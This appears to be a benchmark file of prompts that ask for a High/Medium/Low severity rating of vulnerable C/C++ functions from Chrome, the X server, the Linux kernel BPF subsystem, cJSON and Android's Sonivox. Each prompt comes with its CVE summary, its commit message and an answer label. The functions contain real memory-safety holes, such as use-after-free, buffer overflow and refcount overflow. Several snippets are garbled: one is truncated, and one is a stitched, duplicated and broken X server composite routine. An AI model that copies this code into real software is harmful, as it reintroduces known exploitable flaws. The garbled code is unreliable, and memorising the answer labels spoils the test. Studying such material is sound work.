Medium
165,138
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: PassRefPtr<Attr> Element::setAttributeNode(Attr* attrNode, ExceptionCode& ec) { if (!attrNode) { ec = TYPE_MISMATCH_ERR; return 0; } RefPtr<Attr> oldAttrNode = attrIfExists(attrNode->qualifiedName()); if (oldAttrNode.get() == attrNode) return attrNode; // This Attr is already attached to the element. if (attrNode->ownerElement()) { ec = INUSE_ATTRIBUTE_ERR; return 0; } synchronizeAllAttributes(); UniqueElementData* elementData = ensureUniqueElementData(); size_t index = elementData->getAttributeItemIndex(attrNode->qualifiedName()); if (index != notFound) { if (oldAttrNode) detachAttrNodeFromElementWithValue(oldAttrNode.get(), elementData->attributeItem(index)->value()); else oldAttrNode = Attr::create(document(), attrNode->qualifiedName(), elementData->attributeItem(index)->value()); } setAttributeInternal(index, attrNode->qualifiedName(), attrNode->value(), NotInSynchronizationOfLazyAttribute); attrNode->attachToElement(this); ensureAttrNodeListForElement(this)->append(attrNode); return oldAttrNode.release(); } Vulnerability Type: DoS CWE ID: CWE-399 Summary: Use-after-free vulnerability in the DOM implementation in Google Chrome before 28.0.1500.95 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors related to improper tracking of which document owns an Attr object. Commit Message: Set Attr.ownerDocument in Element#setAttributeNode() Attr objects can move across documents by setAttributeNode(). So It needs to reset ownerDocument through TreeScopeAdoptr::adoptIfNeeded(). BUG=248950 TEST=set-attribute-node-from-iframe.html Review URL: https://chromiumcodereview.appspot.com/17583003 git-svn-id: svn://svn.chromium.org/blink/trunk@152938 bbb929c8-8fbe-4397-9dbb-9b2b20218538
High
171,207
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: ProcEstablishConnection(ClientPtr client) { const char *reason; char *auth_proto, *auth_string; xConnClientPrefix *prefix; REQUEST(xReq); prefix = (xConnClientPrefix *) ((char *) stuff + sz_xReq); auth_proto = (char *) prefix + sz_xConnClientPrefix; auth_string = auth_proto + pad_to_int32(prefix->nbytesAuthProto); if ((prefix->majorVersion != X_PROTOCOL) || (prefix->minorVersion != X_PROTOCOL_REVISION)) reason = "Protocol version mismatch"; else return (SendConnSetup(client, reason)); } Vulnerability Type: Exec Code CWE ID: CWE-20 Summary: xorg-x11-server before 1.19.5 was missing extra length validation in ProcEstablishConnection function allowing malicious X client to cause X server to crash or possibly execute arbitrary code. Commit Message:
High
165,448
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static void *bpf_obj_do_get(const struct filename *pathname, enum bpf_type *type) { struct inode *inode; struct path path; void *raw; int ret; ret = kern_path(pathname->name, LOOKUP_FOLLOW, &path); if (ret) return ERR_PTR(ret); inode = d_backing_inode(path.dentry); ret = inode_permission(inode, MAY_WRITE); if (ret) goto out; ret = bpf_inode_type(inode, type); if (ret) goto out; raw = bpf_any_get(inode->i_private, *type); touch_atime(&path); path_put(&path); return raw; out: path_put(&path); return ERR_PTR(ret); } Vulnerability Type: DoS CWE ID: Summary: The BPF subsystem in the Linux kernel before 4.5.5 mishandles reference counts, which allows local users to cause a denial of service (use-after-free) or possibly have unspecified other impact via a crafted application on (1) a system with more than 32 Gb of memory, related to the program reference count or (2) a 1 Tb system, related to the map reference count. Commit Message: bpf: fix refcnt overflow On a system with >32Gbyte of phyiscal memory and infinite RLIMIT_MEMLOCK, the malicious application may overflow 32-bit bpf program refcnt. It's also possible to overflow map refcnt on 1Tb system. Impose 32k hard limit which means that the same bpf program or map cannot be shared by more than 32k processes. Fixes: 1be7f75d1668 ("bpf: enable non-root eBPF programs") Reported-by: Jann Horn <[email protected]> Signed-off-by: Alexei Starovoitov <[email protected]> Acked-by: Daniel Borkmann <[email protected]> Signed-off-by: David S. Miller <[email protected]>
Medium
167,251
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void cJSON_ReplaceItemInArray( cJSON *array, int which, cJSON *newitem ) { cJSON *c = array->child; while ( c && which > 0 ) { c = c->next; --which; } if ( ! c ) return; newitem->next = c->next; newitem->prev = c->prev; if ( newitem->next ) newitem->next->prev = newitem; if ( c == array->child ) array->child = newitem; else newitem->prev->next = newitem; c->next = c->prev = 0; cJSON_Delete( c ); } Vulnerability Type: DoS Exec Code Overflow CWE ID: CWE-119 Summary: The parse_string function in cjson.c in the cJSON library mishandles UTF8/16 strings, which allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a non-hex character in a JSON string, which triggers a heap-based buffer overflow. Commit Message: Fix a buffer overflow / heap corruption issue that could occur if a malformed JSON string was passed on the control channel. This issue, present in the cJSON library, was already fixed upstream, so was addressed here in iperf3 by importing a newer version of cJSON (plus local ESnet modifications). Discovered and reported by Dave McDaniel, Cisco Talos. Based on a patch by @dopheide-esnet, with input from @DaveGamble. Cross-references: TALOS-CAN-0164, ESNET-SECADV-2016-0001, CVE-2016-4303 (cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40) Signed-off-by: Bruce A. Mah <[email protected]>
High
167,295
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: tbGetBuffer(unsigned size) { char *rtrn; if (size >= BUFFER_SIZE) return NULL; if ((BUFFER_SIZE - tbNext) <= size) tbNext = 0; rtrn = &textBuffer[tbNext]; tbNext += size; return rtrn; } Vulnerability Type: Overflow CWE ID: CWE-119 Summary: In X.Org Server (aka xserver and xorg-server) before 1.19.4, a local attacker authenticated to the X server could overflow a global buffer, causing crashes of the X server or potentially other problems by injecting large or malformed XKB related atoms and accessing them via xkbcomp. Commit Message:
Medium
164,692
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void WT_InterpolateMono (S_WT_VOICE *pWTVoice, S_WT_INT_FRAME *pWTIntFrame) { EAS_I32 *pMixBuffer; const EAS_I8 *pLoopEnd; const EAS_I8 *pCurrentPhaseInt; EAS_I32 numSamples; EAS_I32 gain; EAS_I32 gainIncrement; EAS_I32 currentPhaseFrac; EAS_I32 phaseInc; EAS_I32 tmp0; EAS_I32 tmp1; EAS_I32 tmp2; EAS_I8 *pLoopStart; numSamples = pWTIntFrame->numSamples; pMixBuffer = pWTIntFrame->pMixBuffer; /* calculate gain increment */ gainIncrement = (pWTIntFrame->gainTarget - pWTIntFrame->prevGain) << (16 - SYNTH_UPDATE_PERIOD_IN_BITS); if (gainIncrement < 0) gainIncrement++; gain = pWTIntFrame->prevGain << 16; pCurrentPhaseInt = pWTVoice->pPhaseAccum; currentPhaseFrac = pWTVoice->phaseFrac; phaseInc = pWTIntFrame->phaseIncrement; pLoopStart = pWTVoice->pLoopStart; pLoopEnd = pWTVoice->pLoopEnd + 1; InterpolationLoop: tmp0 = (EAS_I32)(pCurrentPhaseInt - pLoopEnd); if (tmp0 >= 0) pCurrentPhaseInt = pLoopStart + tmp0; tmp0 = *pCurrentPhaseInt; tmp1 = *(pCurrentPhaseInt + 1); tmp2 = phaseInc + currentPhaseFrac; tmp1 = tmp1 - tmp0; tmp1 = tmp1 * currentPhaseFrac; tmp1 = tmp0 + (tmp1 >> NUM_EG1_FRAC_BITS); pCurrentPhaseInt += (tmp2 >> NUM_PHASE_FRAC_BITS); currentPhaseFrac = tmp2 & PHASE_FRAC_MASK; gain += gainIncrement; tmp2 = (gain >> SYNTH_UPDATE_PERIOD_IN_BITS); tmp0 = *pMixBuffer; tmp2 = tmp1 * tmp2; tmp2 = (tmp2 >> 9); tmp0 = tmp2 + tmp0; *pMixBuffer++ = tmp0; numSamples--; if (numSamples > 0) goto InterpolationLoop; pWTVoice->pPhaseAccum = pCurrentPhaseInt; pWTVoice->phaseFrac = currentPhaseFrac; /*lint -e{702} <avoid divide>*/ pWTVoice->gain = (EAS_I16)(gain >> SYNTH_UPDATE_PERIOD_IN_BITS); } Vulnerability Type: DoS Exec Code Overflow Mem. Corr. CWE ID: CWE-119 Summary: Sonivox in mediaserver in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-04-01 does not check for a negative number of samples, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to arm-wt-22k/lib_src/eas_wtengine.c and arm-wt-22k/lib_src/eas_wtsynth.c, aka internal bug 26366256. Commit Message: Sonivox: sanity check numSamples. Bug: 26366256 Change-Id: I066888c25035ea4c60c88f316db4508dc4dab6bc
High
173,918
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: SafeAlphaCompositeSolidMask_nx8x8888( CARD8 op, PicturePtr pSrc, PicturePtr pMask, PicturePtr pDst, INT16 xSrc, INT16 ySrc, INT16 xMask, INT16 yMask, INT16 xDst, INT16 yDst, CARD16 width, CARD16 height) { CARD32 src, srca; CARD32 *dstLine, *dst, d, dstMask; CARD8 *maskLine, *mask, m; FbStride dstStride, maskStride; CARD16 w; fbComposeGetSolid(pSrc, src, pDst->format); dstMask = FbFullMask (pDst->pDrawable->depth); srca = src >> 24; if (src == 0) return; fbComposeGetStart (pDst, xDst, yDst, CARD32, dstStride, dstLine, 1); fbComposeGetStart (pMask, xMask, yMask, CARD8, maskStride, maskLine, 1); if (dstMask == FB_ALLONES && pDst->pDrawable->bitsPerPixel == 32 && width * height > rootless_CompositePixels_threshold && SCREENREC(pDst->pDrawable->pScreen)->imp->CompositePixels) { void *srcp[2], *destp[2]; unsigned int dest_rowbytes[2]; unsigned int fn; srcp[0] = &src; srcp[1] = &src; /* null rowbytes pointer means use first value as a constant */ destp[0] = dstLine; destp[1] = dstLine; dest_rowbytes[0] = dstStride * 4; dest_rowbytes[1] = dest_rowbytes[0]; fn = RL_COMPOSITE_FUNCTION(RL_COMPOSITE_OVER, RL_DEPTH_ARGB8888, RL_DEPTH_A8, RL_DEPTH_ARGB8888); if (SCREENREC(pDst->pDrawable->pScreen)->imp->CompositePixels( width, height, fn, srcp, NULL, maskLine, maskStride, destp, dest_rowbytes) == Success) { return; } } while (height--) { dst = dstLine; dstLine += dstStride; mask = maskLine; maskLine += maskStride; w = width; while (w--) { } void SafeAlphaComposite (CARD8 op, PicturePtr pSrc, PicturePtr pMask, PicturePtr pDst, INT16 xSrc, INT16 ySrc, INT16 xMask, INT16 yMask, INT16 xDst, INT16 yDst, CARD16 width, CARD16 height) { RegionRec region; int n; BoxPtr pbox; CompositeFunc func = 0; Bool srcRepeat = pSrc->repeat; Bool maskRepeat = FALSE; Bool srcAlphaMap = pSrc->alphaMap != 0; Bool maskAlphaMap = FALSE; Bool dstAlphaMap = pDst->alphaMap != 0; int x_msk, y_msk, x_src, y_src, x_dst, y_dst; int w, h, w_this, h_this; int dstDepth = pDst->pDrawable->depth; int oldFormat = pDst->format; xDst += pDst->pDrawable->x; yDst += pDst->pDrawable->y; xSrc += pSrc->pDrawable->x; ySrc += pSrc->pDrawable->y; if (pMask) { xMask += pMask->pDrawable->x; yMask += pMask->pDrawable->y; maskRepeat = pMask->repeat; maskAlphaMap = pMask->alphaMap != 0; } /* * We can use the more optimized fbpict code, but it sets bits above * the depth to zero. Temporarily adjust destination depth if needed. PicturePtr pDst, INT16 xSrc, INT16 ySrc, INT16 xMask, { pDst->pDrawable->depth = 32; } /* For rootless preserve the alpha in x8r8g8b8 which really is * a8r8g8b8 */ int n; { pDst->format = PICT_a8r8g8b8; } if (!pSrc->transform && !(pMask && pMask->transform)) if (!maskAlphaMap && !srcAlphaMap && !dstAlphaMap) switch (op) { case PictOpSrc: #ifdef USE_MMX if (!pMask && pSrc->format == pDst->format && pSrc->pDrawable != pDst->pDrawable) { func = fbCompositeCopyAreammx; } #endif break; case PictOpOver: if (pMask) { if (srcRepeat && pSrc->pDrawable->width == 1 && pSrc->pDrawable->height == 1) { srcRepeat = FALSE; if (PICT_FORMAT_COLOR(pSrc->format)) { switch (pMask->format) { case PICT_a8: switch (pDst->format) { case PICT_r5g6b5: case PICT_b5g6r5: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSolidMask_nx8x0565mmx; else #endif func = fbCompositeSolidMask_nx8x0565; break; case PICT_r8g8b8: case PICT_b8g8r8: func = fbCompositeSolidMask_nx8x0888; break; case PICT_a8r8g8b8: case PICT_x8r8g8b8: case PICT_a8b8g8r8: case PICT_x8b8g8r8: func = SafeAlphaCompositeSolidMask_nx8x8888; break; } break; case PICT_a8r8g8b8: if (pMask->componentAlpha) { switch (pDst->format) { case PICT_a8r8g8b8: case PICT_x8r8g8b8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSolidMask_nx8888x8888Cmmx; else #endif func = fbCompositeSolidMask_nx8888x8888C; break; case PICT_r5g6b5: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSolidMask_nx8888x0565Cmmx; else #endif func = fbCompositeSolidMask_nx8888x0565C; break; } } break; case PICT_a8b8g8r8: if (pMask->componentAlpha) { switch (pDst->format) { case PICT_a8b8g8r8: case PICT_x8b8g8r8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSolidMask_nx8888x8888Cmmx; else #endif func = fbCompositeSolidMask_nx8888x8888C; break; case PICT_b5g6r5: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSolidMask_nx8888x0565Cmmx; else #endif func = fbCompositeSolidMask_nx8888x0565C; break; } } break; case PICT_a1: switch (pDst->format) { case PICT_r5g6b5: case PICT_b5g6r5: case PICT_r8g8b8: case PICT_b8g8r8: case PICT_a8r8g8b8: case PICT_x8r8g8b8: case PICT_a8b8g8r8: case PICT_x8b8g8r8: func = fbCompositeSolidMask_nx1xn; break; } break; } } } else /* has mask and non-repeating source */ { if (pSrc->pDrawable == pMask->pDrawable && xSrc == xMask && ySrc == yMask && !pMask->componentAlpha) { /* source == mask: non-premultiplied data */ switch (pSrc->format) { case PICT_x8b8g8r8: switch (pMask->format) { case PICT_a8r8g8b8: case PICT_a8b8g8r8: switch (pDst->format) { case PICT_a8r8g8b8: case PICT_x8r8g8b8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888RevNPx8888mmx; #endif break; case PICT_r5g6b5: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888RevNPx0565mmx; #endif break; } break; } break; case PICT_x8r8g8b8: switch (pMask->format) { case PICT_a8r8g8b8: case PICT_a8b8g8r8: switch (pDst->format) { case PICT_a8b8g8r8: case PICT_x8b8g8r8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888RevNPx8888mmx; #endif break; case PICT_r5g6b5: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888RevNPx0565mmx; #endif break; } break; } break; } break; } else { /* non-repeating source, repeating mask => translucent window */ if (maskRepeat && pMask->pDrawable->width == 1 && pMask->pDrawable->height == 1) { if (pSrc->format == PICT_x8r8g8b8 && pDst->format == PICT_x8r8g8b8 && pMask->format == PICT_a8) { #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888x8x8888mmx; #endif } } } } } else /* no mask */ { if (srcRepeat && pSrc->pDrawable->width == 1 && pSrc->pDrawable->height == 1) { /* no mask and repeating source */ switch (pSrc->format) { case PICT_a8r8g8b8: switch (pDst->format) { case PICT_a8r8g8b8: case PICT_x8r8g8b8: #ifdef USE_MMX if (fbHaveMMX()) { srcRepeat = FALSE; func = fbCompositeSolid_nx8888mmx; } #endif break; case PICT_r5g6b5: #ifdef USE_MMX if (fbHaveMMX()) { srcRepeat = FALSE; func = fbCompositeSolid_nx0565mmx; } #endif break; } break; } } else { switch (pSrc->format) { case PICT_a8r8g8b8: switch (pDst->format) { case PICT_a8r8g8b8: case PICT_x8r8g8b8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888x8888mmx; else #endif func = fbCompositeSrc_8888x8888; break; case PICT_r8g8b8: func = fbCompositeSrc_8888x0888; break; case PICT_r5g6b5: func = fbCompositeSrc_8888x0565; break; } break; case PICT_x8r8g8b8: switch (pDst->format) { case PICT_a8r8g8b8: case PICT_x8r8g8b8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeCopyAreammx; #endif break; } case PICT_x8b8g8r8: switch (pDst->format) { case PICT_a8b8g8r8: case PICT_x8b8g8r8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeCopyAreammx; #endif break; } break; case PICT_a8b8g8r8: switch (pDst->format) { case PICT_a8b8g8r8: case PICT_x8b8g8r8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888x8888mmx; else #endif func = fbCompositeSrc_8888x8888; break; case PICT_b8g8r8: func = fbCompositeSrc_8888x0888; break; case PICT_b5g6r5: func = fbCompositeSrc_8888x0565; break; } break; case PICT_r5g6b5: switch (pDst->format) { case PICT_r5g6b5: func = fbCompositeSrc_0565x0565; break; } break; case PICT_b5g6r5: switch (pDst->format) { case PICT_b5g6r5: func = fbCompositeSrc_0565x0565; break; } break; } } } break; case PictOpAdd: if (pMask == 0) { switch (pSrc->format) { case PICT_a8r8g8b8: switch (pDst->format) { case PICT_a8r8g8b8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrcAdd_8888x8888mmx; else #endif func = fbCompositeSrcAdd_8888x8888; break; } break; case PICT_a8b8g8r8: switch (pDst->format) { case PICT_a8b8g8r8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrcAdd_8888x8888mmx; else #endif func = fbCompositeSrcAdd_8888x8888; break; } break; case PICT_a8: switch (pDst->format) { case PICT_a8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrcAdd_8000x8000mmx; else #endif func = fbCompositeSrcAdd_8000x8000; break; } break; case PICT_a1: switch (pDst->format) { case PICT_a1: func = fbCompositeSrcAdd_1000x1000; break; } break; } } break; } if (!func) { /* no fast path, use the general code */ fbCompositeGeneral(op, pSrc, pMask, pDst, xSrc, ySrc, xMask, yMask, xDst, yDst, width, height); pDst->pDrawable->depth = dstDepth; pDst->format = oldFormat; return; } if (!miComputeCompositeRegion (&region, pSrc, pMask, pDst, xSrc, ySrc, xMask, yMask, xDst, yDst, width, height)) return; n = REGION_NUM_RECTS (&region); pbox = REGION_RECTS (&region); while (n--) { h = pbox->y2 - pbox->y1; y_src = pbox->y1 - yDst + ySrc; y_msk = pbox->y1 - yDst + yMask; y_dst = pbox->y1; while (h) { h_this = h; w = pbox->x2 - pbox->x1; x_src = pbox->x1 - xDst + xSrc; x_msk = pbox->x1 - xDst + xMask; x_dst = pbox->x1; if (maskRepeat) { y_msk = mod (y_msk, pMask->pDrawable->height); if (h_this > pMask->pDrawable->height - y_msk) h_this = pMask->pDrawable->height - y_msk; } if (srcRepeat) { y_src = mod (y_src, pSrc->pDrawable->height); if (h_this > pSrc->pDrawable->height - y_src) h_this = pSrc->pDrawable->height - y_src; } while (w) { w_this = w; if (maskRepeat) { x_msk = mod (x_msk, pMask->pDrawable->width); if (w_this > pMask->pDrawable->width - x_msk) w_this = pMask->pDrawable->width - x_msk; } if (srcRepeat) { x_src = mod (x_src, pSrc->pDrawable->width); if (w_this > pSrc->pDrawable->width - x_src) w_this = pSrc->pDrawable->width - x_src; } (*func) (op, pSrc, pMask, pDst, x_src, y_src, x_msk, y_msk, x_dst, y_dst, w_this, h_this); w -= w_this; x_src += w_this; x_msk += w_this; x_dst += w_this; } h -= h_this; y_src += h_this; y_msk += h_this; y_dst += h_this; } pbox++; } REGION_UNINIT (pDst->pDrawable->pScreen, &region); pDst->pDrawable->depth = dstDepth; pDst->format = oldFormat; } } /* For rootless preserve the alpha in x8r8g8b8 which really is * a8r8g8b8 */ if (oldFormat == PICT_x8r8g8b8) { pDst->format = PICT_a8r8g8b8; } if (!pSrc->transform && !(pMask && pMask->transform)) if (!maskAlphaMap && !srcAlphaMap && !dstAlphaMap) switch (op) { case PictOpSrc: #ifdef USE_MMX if (!pMask && pSrc->format == pDst->format && pSrc->pDrawable != pDst->pDrawable) { func = fbCompositeCopyAreammx; } #endif break; case PictOpOver: if (pMask) { if (srcRepeat && pSrc->pDrawable->width == 1 && pSrc->pDrawable->height == 1) { srcRepeat = FALSE; if (PICT_FORMAT_COLOR(pSrc->format)) { switch (pMask->format) { case PICT_a8: switch (pDst->format) { case PICT_r5g6b5: case PICT_b5g6r5: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSolidMask_nx8x0565mmx; else #endif func = fbCompositeSolidMask_nx8x0565; break; case PICT_r8g8b8: case PICT_b8g8r8: func = fbCompositeSolidMask_nx8x0888; break; case PICT_a8r8g8b8: case PICT_x8r8g8b8: case PICT_a8b8g8r8: case PICT_x8b8g8r8: func = SafeAlphaCompositeSolidMask_nx8x8888; break; } break; case PICT_a8r8g8b8: if (pMask->componentAlpha) { switch (pDst->format) { case PICT_a8r8g8b8: case PICT_x8r8g8b8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSolidMask_nx8888x8888Cmmx; else #endif func = fbCompositeSolidMask_nx8888x8888C; break; case PICT_r5g6b5: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSolidMask_nx8888x0565Cmmx; else #endif func = fbCompositeSolidMask_nx8888x0565C; break; } } break; case PICT_a8b8g8r8: if (pMask->componentAlpha) { switch (pDst->format) { case PICT_a8b8g8r8: case PICT_x8b8g8r8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSolidMask_nx8888x8888Cmmx; else #endif func = fbCompositeSolidMask_nx8888x8888C; break; case PICT_b5g6r5: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSolidMask_nx8888x0565Cmmx; else #endif func = fbCompositeSolidMask_nx8888x0565C; break; } } break; case PICT_a1: switch (pDst->format) { case PICT_r5g6b5: case PICT_b5g6r5: case PICT_r8g8b8: case PICT_b8g8r8: case PICT_a8r8g8b8: case PICT_x8r8g8b8: case PICT_a8b8g8r8: case PICT_x8b8g8r8: func = fbCompositeSolidMask_nx1xn; break; } break; } } } else /* has mask and non-repeating source */ { if (pSrc->pDrawable == pMask->pDrawable && xSrc == xMask && ySrc == yMask && !pMask->componentAlpha) { /* source == mask: non-premultiplied data */ switch (pSrc->format) { case PICT_x8b8g8r8: switch (pMask->format) { case PICT_a8r8g8b8: case PICT_a8b8g8r8: switch (pDst->format) { case PICT_a8r8g8b8: case PICT_x8r8g8b8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888RevNPx8888mmx; #endif break; case PICT_r5g6b5: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888RevNPx0565mmx; #endif break; } break; } break; case PICT_x8r8g8b8: switch (pMask->format) { case PICT_a8r8g8b8: case PICT_a8b8g8r8: switch (pDst->format) { case PICT_a8b8g8r8: case PICT_x8b8g8r8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888RevNPx8888mmx; #endif break; case PICT_r5g6b5: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888RevNPx0565mmx; #endif break; } break; } break; } break; } else { /* non-repeating source, repeating mask => translucent window */ if (maskRepeat && pMask->pDrawable->width == 1 && pMask->pDrawable->height == 1) { if (pSrc->format == PICT_x8r8g8b8 && pDst->format == PICT_x8r8g8b8 && pMask->format == PICT_a8) { #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888x8x8888mmx; #endif } } } } } else /* no mask */ { if (srcRepeat && pSrc->pDrawable->width == 1 && pSrc->pDrawable->height == 1) { /* no mask and repeating source */ switch (pSrc->format) { case PICT_a8r8g8b8: switch (pDst->format) { case PICT_a8r8g8b8: case PICT_x8r8g8b8: #ifdef USE_MMX if (fbHaveMMX()) { srcRepeat = FALSE; func = fbCompositeSolid_nx8888mmx; } #endif break; case PICT_r5g6b5: #ifdef USE_MMX if (fbHaveMMX()) { srcRepeat = FALSE; func = fbCompositeSolid_nx0565mmx; } #endif break; } break; } } else { switch (pSrc->format) { case PICT_a8r8g8b8: switch (pDst->format) { case PICT_a8r8g8b8: case PICT_x8r8g8b8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888x8888mmx; else #endif func = fbCompositeSrc_8888x8888; break; case PICT_r8g8b8: func = fbCompositeSrc_8888x0888; break; case PICT_r5g6b5: func = fbCompositeSrc_8888x0565; break; } break; case PICT_x8r8g8b8: switch (pDst->format) { case PICT_a8r8g8b8: case PICT_x8r8g8b8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeCopyAreammx; #endif break; } case PICT_x8b8g8r8: switch (pDst->format) { case PICT_a8b8g8r8: case PICT_x8b8g8r8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeCopyAreammx; #endif break; } break; case PICT_a8b8g8r8: switch (pDst->format) { case PICT_a8b8g8r8: case PICT_x8b8g8r8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrc_8888x8888mmx; else #endif func = fbCompositeSrc_8888x8888; break; case PICT_b8g8r8: func = fbCompositeSrc_8888x0888; break; case PICT_b5g6r5: func = fbCompositeSrc_8888x0565; break; } break; case PICT_r5g6b5: switch (pDst->format) { case PICT_r5g6b5: func = fbCompositeSrc_0565x0565; break; } break; case PICT_b5g6r5: switch (pDst->format) { case PICT_b5g6r5: func = fbCompositeSrc_0565x0565; break; } break; } } } break; case PictOpAdd: if (pMask == 0) { switch (pSrc->format) { case PICT_a8r8g8b8: switch (pDst->format) { case PICT_a8r8g8b8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrcAdd_8888x8888mmx; else #endif func = fbCompositeSrcAdd_8888x8888; break; } break; case PICT_a8b8g8r8: switch (pDst->format) { case PICT_a8b8g8r8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrcAdd_8888x8888mmx; else #endif func = fbCompositeSrcAdd_8888x8888; break; } break; case PICT_a8: switch (pDst->format) { case PICT_a8: #ifdef USE_MMX if (fbHaveMMX()) func = fbCompositeSrcAdd_8000x8000mmx; else #endif func = fbCompositeSrcAdd_8000x8000; break; } break; case PICT_a1: switch (pDst->format) { case PICT_a1: func = fbCompositeSrcAdd_1000x1000; break; } break; } } break; } if (!func) { /* no fast path, use the general code */ fbCompositeGeneral(op, pSrc, pMask, pDst, xSrc, ySrc, xMask, yMask, xDst, yDst, width, height); pDst->pDrawable->depth = dstDepth; pDst->format = oldFormat; return; } if (!miComputeCompositeRegion (&region, pSrc, pMask, pDst, xSrc, ySrc, xMask, yMask, xDst, yDst, width, height)) return; n = REGION_NUM_RECTS (&region); pbox = REGION_RECTS (&region); while (n--) { h = pbox->y2 - pbox->y1; y_src = pbox->y1 - yDst + ySrc; y_msk = pbox->y1 - yDst + yMask; y_dst = pbox->y1; while (h) { h_this = h; w = pbox->x2 - pbox->x1; x_src = pbox->x1 - xDst + xSrc; x_msk = pbox->x1 - xDst + xMask; x_dst = pbox->x1; if (maskRepeat) { y_msk = mod (y_msk, pMask->pDrawable->height); if (h_this > pMask->pDrawable->height - y_msk) h_this = pMask->pDrawable->height - y_msk; } if (srcRepeat) { y_src = mod (y_src, pSrc->pDrawable->height); if (h_this > pSrc->pDrawable->height - y_src) h_this = pSrc->pDrawable->height - y_src; } while (w) { w_this = w; if (maskRepeat) { x_msk = mod (x_msk, pMask->pDrawable->width); if (w_this > pMask->pDrawable->width - x_msk) w_this = pMask->pDrawable->width - x_msk; } if (srcRepeat) { x_src = mod (x_src, pSrc->pDrawable->width); if (w_this > pSrc->pDrawable->width - x_src) w_this = pSrc->pDrawable->width - x_src; } (*func) (op, pSrc, pMask, pDst, x_src, y_src, x_msk, y_msk, x_dst, y_dst, w_this, h_this); w -= w_this; x_src += w_this; x_msk += w_this; x_dst += w_this; } h -= h_this; y_src += h_this; y_msk += h_this; y_dst += h_this; } pbox++; } REGION_UNINIT (pDst->pDrawable->pScreen, &region); pDst->pDrawable->depth = dstDepth; pDst->format = oldFormat; } Vulnerability Type: DoS Exec Code Mem. Corr. CWE ID: CWE-189 Summary: The fbComposite function in fbpict.c in the Render extension in the X server in X.Org X11R7.1 allows remote authenticated users to cause a denial of service (memory corruption and daemon crash) or possibly execute arbitrary code via a crafted request, related to an incorrect macro definition. Commit Message:
High
165,131
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
